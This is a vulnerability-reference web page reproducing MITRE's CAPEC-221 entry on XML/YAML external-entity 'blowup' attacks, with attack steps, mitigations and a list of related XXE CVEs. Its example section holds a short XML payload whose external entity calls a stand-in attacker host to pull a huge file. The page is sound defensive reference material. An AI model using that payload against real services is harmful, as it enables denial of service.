cve.bz

CAPEC-221

Data Serialization External Entities Blowup

Detailed pattern

This attack takes advantage of the entity replacement property of certain data serialization languages (e.g., XML, YAML, etc.) where the value of the replacement is a URI. A well-crafted file could have the entity refer to a URI that consumes a large amount of resources to create a denial of service condition. This can cause the system to either freeze, crash, or execute arbitrary code depending on the URI.

On this page

Ask an AI about this attack pattern

Show the promptExplain the attack pattern CAPEC-221: Data Serialization External Entities Blowup: how it unfolds, what it needs and how to prevent and detect it in my systems. Use https://capec.mitre.org/data/definitions/221.html and https://cve.bz/cve/capec/221?via=ask-ai-copy, which lists recent CVEs with the weaknesses it exploits. Cite the sources.

Opens a third-party assistant; its answer is its own, not cve.bz's. The prompt holds only this attack pattern's id and public links.

How the attack unfolds

  1. Explore

    The attacker looks for a way in.

    1. [Find target web service] The adversary must first find a web service that takes input data in the form of a serialized language such as XML or YAML.

  2. Experiment

    They probe what they found.

    1. [Host malicious file on a server] The adversary will create a web server that contains a malicious file. This file will be extremely large, so that if a web service were to try to load it, the service would most likely hang.

    2. [Craft malicious data] Using the serialization language that the web service takes as input, the adversary will craft data that links to the malicious file using an external entity reference to the URL of the file.

  3. Exploit

    They carry out the attack.

    1. [Send serialized data containing URI] The adversary will send specially crafted serialized data to the web service. When the web service loads the input, it will attempt to download the malicious file. Depending on the amount of memory the web service has, this could either crash the service or cause it to hang, resulting in a Denial of Service attack.

Prerequisites

  • A server that has an implementation that accepts entities containing URI values.

Consequences

What a successful attack can lead to
ImpactAffectsNote
Resource ConsumptionAvailability
Execute Unauthorized CommandsConfidentiality, Integrity, AvailabilityRun Arbitrary Code

Mitigations

  • This attack may be mitigated by tweaking the XML parser to not resolve external entities. If external entities are needed, then implement a custom XmlResolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.

  • This attack may be mitigated by tweaking the serialized data parser to not resolve external entities. If external entities are needed, then implement a custom resolver that has a request timeout, data retrieval limit, and restrict resources it can retrieve locally.

Weaknesses it exploits

  • CWE-611 Improper Restriction of XML External Entity Reference

Recent CVEs with these weaknesses

  1. 5.5CVE-2026-81058

    Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Restriction of XML External Entity Reference vulnerability. A low privileged local attacker could potentially exploit this vulnerability, lea…

  2. 7.2CVE-2026-127054

    XML external entity injection (XXE) in the parser for requests to a REST interface. During testing with an authenticated session, the server resolved an external entity and made an HTTP request to an external resource. Tests involving refe…

  3. 8.7CVE-2017-20291

    An XML External Entity (XXE) injection vulnerability in the Federation Web Services component (/affwebservices/router/session and /affwebservices/router/notification) of Broadcom SiteMinder (CA Single Sign-On) Secure Proxy Server / Access …

  4. 7.1CVE-2026-136836

    Jenkins Gradle Plugin 2.21.1282.v024680ce00a_b_ and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks when processing Maven extension configuration files from build workspaces.

  5. 5.5CVE-2026-80294

    Dell Secure Connect Gateway (SCG) Virtual Edition, versions prior to 5.36.00.16, contains an Improper Restriction of XML External Entity Reference vulnerability. A low privileged attacker with local access could potentially exploit this vu…

  6. 6.9CVE-2026-119443

    Improper Restriction of XML External Entity Reference vulnerability in xmerl_scan in Erlang OTP xmerl allows an attacker to exhaust the memory of the Erlang VM via an XML document that names an external DTD. With default options, xmerl_sc…

  7. 5.5CVE-2026-134044

    Open Robotics ROS 2 sros2 load_policy XML External Entity Processing Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Open Robotics ROS 2. User …

  8. 7.5CVE-2026-129015

    Improper Restriction of XML External Entity Reference vulnerability in ReviewX ReviewX reviewx allows XML Entity Linking.This issue affects ReviewX: from n/a through 3.0.1.

The newest records naming one of them. Each weakness's page lists them all.

Part of

Examples

In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker cont…

In this example, the XML parser parses the attacker's XML and opens the malicious URI where the attacker controls the server and writes a massive amount of data to the response stream. In this example the malicious URI is a large file transfer.

<?xml version="1.0"?>
<!DOCTYPE bomb [
<!ENTITY detonate SYSTEM "http://www.malicious-badguy.com/myhugefile.exe">
]>
<bomb>&detonate;</bomb>

MITRE's words, unchanged: CAPEC-221 at MITRE. CAPEC is Copyright © 2007–2026, The MITRE Corporation, used under the CAPEC terms of use: “The MITRE Corporation (MITRE) hereby grants you a non-exclusive, royalty-free license to use Common Attack Pattern Enumeration and Classification (CAPEC™) for research, development, and commercial purposes. Any copy you make for such purposes is authorized provided that you reproduce MITRE’s copyright designation and this license in any such copy.” CAPEC and the CAPEC logo are trademarks of The MITRE Corporation. Credits. All attack patterns.